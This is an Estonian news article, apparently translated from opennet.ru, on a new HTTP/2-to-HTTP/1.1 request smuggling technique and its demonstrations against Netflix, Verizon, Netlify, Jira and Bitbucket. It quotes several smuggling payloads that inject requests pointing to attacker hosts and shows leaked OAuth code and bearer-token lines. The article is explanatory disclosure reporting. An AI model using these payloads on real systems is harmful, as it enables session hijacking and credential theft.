Uus rünnak front-end ja back-end süsteemide vastu, mis võimaldab sekkuda päringutesse.

Veebisüsteemid, kus front-end võtab ühendusi HTTP/2 kaudu ja edastab taustaprotsessile HTTP/1.1 kaudu, osutusid uue "HTTP Request Smuggling" rünnakuvormi suhtes haavatavaks. See võimaldab spetsiaalsete kliendipäringute saatmise kaudu sekkuda teiste kasutajate päringute sisusse, mis töödeldakse sama voolu kaudu front-end'i ja taustaprotsessi vahel. Rünnakut saab kasutada pahatahtliku JavaScripti koodi sisestamiseks seanssi, kus on seaduslik veebisait, juurdepääsupiirangute ümberminekuks ja autentimisparameetrite haaramiseks.

Probleem on haavatav web-proksides, koormuse tasakaalustajates, veebikiirendites, sisuhalduse süsteemides ja muudes konfiguratsioonides, kus päringud suunatakse front-end'i ja taustaprotsessi vahel. Uuringu autor demonstreeris rünnaku võimalust Netflixi, Verizon, Bitbucket, Netlify CDN ja Atlassiani süsteemide vastu ning teenis 56 000 dollarit haavatavuste avardamise preemia programmides. Probleemi olemasolu on samuti kinnitatud F5 Networks'i toodetes. Osaliselt mõjutab probleem mod_proxy'd Apache HTTP serveris (CVE-2021-33193), parandused on ootel versioonis 2.4.49 (arendajad said teate probleemist mai alguses ja neil oli 3 kuud parandamiseks). Nginxis on samaaegselt "Content-Length" ja "Transfer-Encoding" päiste määramine blokeeritud eelmiseks väljaandeks (1.21.1). Rünnakuteks vajalikud vahendid on juba lisatud Burpi tööriistakomplekti ja need on saadaval Turbo Intruder laienduse kujul.

Uue päringute sekkumise meetodi toimimise põhimõte on sarnane kaks aastat tagasi sama uurija poolt välja toodud haavatavusele, kuid oli piiratud front-end'idega, mis võtsid päringuid HTTP/1.1 kaudu. Meenus, et front-end'i ja taustaprotsessi skeemis võtab päringud klientidelt vastu lisaseade — front-end, mis loob pikaajalise TCP-ühenduse taustaprotsessiga, mis tegeleb päringute vahetu töötlemisega. Selle ühise ühenduse kaudu edastatakse tavaliselt erinevate kasutajate päringud, mis järgivad üksteist omavahel ja jagatakse HTTP protokolli vahendite abil.

Klassikaline rünnak "HTTP Request Smuggling" põhines sellel, et front-end'd ja back-end'd tõlgendavad erinevalt HTTP pealkirjade "Content-Length" (mille eesmärk on määrata päringu andmete kogusuurus) ja "Transfer-Encoding: chunked" (mis võimaldab andmete edastamist osade kaupa) kasutamist. Näiteks kui front-end toetab ainult "Content-Length", kuid ignoreerib "Transfer-Encoding: chunked", võib ründaja saata päringu, milles on samal ajal määratud pealkirjad "Content-Length" ja "Transfer-Encoding: chunked", kuid "Content-Length" väärtus ei vasta chunked ahela suurusele. Sel juhul töötleb front-end päringu vastavalt "Content-Length"'ile ja back-end ootab ploki lõpetamist "Transfer-Encoding: chunked" alusel, mille tõttu jääb ründaja päringu järel oleva hiline osa teise päringu algusesse.

Erinevalt tekstiprotokollist HTTP/1.1, mille analüüs toimub ridade tasemel, on HTTP/2 binaarne protokoll, mis manipuleerib eelnevalt määratud suurusega andmeplokkidega. Lisaks kasutatakse HTTP/2-s pseudopealkirju, mis vastavad tavapärastele HTTP pealkirjadele. Kui front-end suhtleb back-end'iga HTTP/1.1 protokolli kaudu, tõlgib front-end need pseudopealkirjad sarnasteks HTTP/1.1 pealkirjadeks. Probleem on selles, et back-end teeb voolu analüüsi otsuseid juba front-end'ilt saadud HTTP pealkirjade alusel, ilma et tal oleks teavet algse päringu parameetrite kohta.

Sealhulgas pseudopealkirjade vormis võivad olla edastatud väärtused "content-length" ja "transfer-encoding", hoolimata sellest, et HTTP/2 neid ei kasuta, kuna kõigi andmete suurus määratakse eraldi väljal. Siiski, HTTP/2 päringu konverteerimise käigus HTTP/1.1-ks kantakse need pealkirjad edasi ja need võivad eksitada back-end'i. Erinevad rünnakuvõimalused hõlmavad kaht peamist varianti: H2.TE ja H2.CL, milles back-end eksitatakse vale transfer-encoding'i või content-length'i väärtuse tõttu, mis ei vasta päringu keha tegelikule suurusele, mis jõuab front-end'i HTTP/2 protokolli kaudu.

H2.CL rünnakute näitena toodi välja vale suuruse määramine pseudopealkirjas content-length, kui saadeti HTTP/2 päring Netflixi. See päring toob kaasa sarnase HTTP-pealkirja Cоntent-Length lisamise, kui pöördutakse bändi poole HTTP/1.1 kaudu, kuid kuna Cоntent-Length'is märgitud suurus on väiksem kui tegelik, töödeldakse andmete osa lõpus kui järgmise päringu algust.

Näiteks, HTTP/2 päring: :method POST :path /n :authority www.netflix.com content-length 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Toob kaasa päringu saatmise bändile: POST /n HTTP/1.1 Host: www.netflix.com Content-Length: 4 abcdGET /n HTTP/1.1 Host: 02.rs?x.netflix.com Foo: bar

Kuna Content-Length on 4, tajub bänd päringu kehaks ainult "abcd" ning ülejäänud osa "GET /n HTTP/1.1..." töödeldakse kui järgnevate päringute algust, mis on seotud teise kasutajaga. Seega toimib voogude desünkroniseerimine ja vastuseks sellele järgnevale päringule väljastatakse tulemused vale päringu töötlemise kohta. Netflixi puhul tõi kolmanda osapoole hosti märkimine pealkirjas "Host:" vale päringus klienti vastuse "Location: https://02.rs?x.netflix.com/n" ning võimaldas kliendile edastada meelevaldset sisu, sealhulgas käivitada oma JavaScripti koodi Netflixi saidi kontekstis.

Teine rünnaku variant (H2.TE) on seotud pealkirja "Transfer-Encoding: chunked" sisestamisega. Pseudopealkirja transfer-encoding kasutamine HTTP/2-s on spetsifikatsiooniga keelatud ja päringud, mis seda sisaldavad, tuleb määratleda kui vigased. Sellegipoolest ei arvestata mõnedes esitusviisides seda nõuet ning lubatakse pseudopealkirja transfer-encoding kasutamine HTTP/2-s, mis muudetakse sarnaseks HTTP pealkirjaga. Kui pealkiri "Transfer-Encoding" on kohal, võib bänd pidada seda prioriteetsemaks ja töötlema andmeid osade kaupa „chunked“ režiimis, kasutades erineva suurusega plokke formaadis „{suurus}\r\n{plokk}\r\n{suurus}\r\n{plokk}\r\n0", hoolimata algsest jaotamisest üldise suuruse järgi.

Sarnase haavatavuse demonstratsioon toimus ettevõtte Verizon näitel. Probleem puudutas autentimisportaali ja sisuhaldussüsteem, mida kasutatakse ka sellistes saitides nagu Huffington Post ja Engadget. Näiteks, kliendi päring HTTP/2 kaudu: :method POST :path /identitfy/XUI :authority id.b2b.oath.com transfer-encoding chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="

Saatis backend-ile HTTP/1.1 päringu: POST /identity/XUI HTTP/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET /oops HTTP/1.1 Host: psres.net Content-Length: 10 x="

Backend ignoreeris seevastu "Content-Length" pealkirja ning töötles voogu "Transfer-Encoding: chunked" alusel. Praktikas lubas rünnak suunata kasutajate päringud enda saidile ning isegi tabada OAuth autentimisega seotud päringud, mille parameetrid ilmusid Referer pealkirjas, ning simuleerida autentimisprotsessi, viies seeläbi süsteemi kasutaja mandaadi rünnakuteenuse hostile. GET /b2blanding/show/oops HTTP/1.1 Host: psres.net Referer: https://id.b2b.oath.com/?…&code=secret GET / HTTP/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik…

HTTP/2 rakenduste rünnakuks, mis ei luba "Transfer-Encoding" pseudo-pealkirja, on pakutud veel ühte meetodit, mis seisneb "Transfer-Encoding" pealkirja asendamises teiste pseudo-pealkirjade juurde, eraldades need reavahetusega (sellisel juhul luuakse HTTP/1.1-s kaks eraldi HTTP-pealkirja).

Näiteks olid Atlassian Jira ja Netlify CDN (mida kasutatakse Mozilla käivitamise lehe edastamiseks Firefoxis) mainitud probleemile altiivsed. Eelkõige HTTP/2 päring: :method POST :path / :authority start.mozilla.org foo b\r\n transfer-encoding: chunked 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="

saatis backend-ile HTTP/1.1 päringu POST / HTTP/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET / HTTP/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x="

Teine variant "Transfer-Encoding" pealkirja asendamiseks oli selle seondamine teise pseudo-pealkirja nime või päringu meetodi stringiga. Näiteks Atlassian Jira juurde minnes, kui pseudo-pealkirja nimeks on "foo: bar\r\ntransfer-encoding" ning väärtus "chunked", lisati HTTP-pealkirjad "foo: bar" ja "transfer-encoding: chunked", ning kui pseudo-pealkirjas "method" väärtuseks oli "GET / HTTP/1.1\r\nTransfer-encoding: chunked", tõlgiti see "GET / HTTP/1.1\r\ntransfer-encoding: chunked".

Probleemi avastanud teadlane pakkus välja ka päringute tunnelimise tehniku, et rünnata frontende, kus igaühe jaoks IP-aadressid luuakse eraldi ühendus tagaküljega ning erinevate kasutajate liiklus ei segune. Pakutud tehnika ei luba teiste kasutajate päringutesse sekkuda, kuid võimaldab saata jagatud vahemälu, mis mõjutab teiste päringute töötlemist, ja võimaldab sisemiste HTTP-pealkirjade asendamist, mida kasutatakse teenuste edastamiseks frontendi ja tagakäe vahel (näiteks suunates frontendis autentimise käigus tagaküljele praeguse kasutaja andmed). Näiteks selle meetodi rakendamine praktiliselt vahemälu saastamise kaudu andis kontrolli lehtede üle Bitbucket teenuses.

Allikas: opennet.ru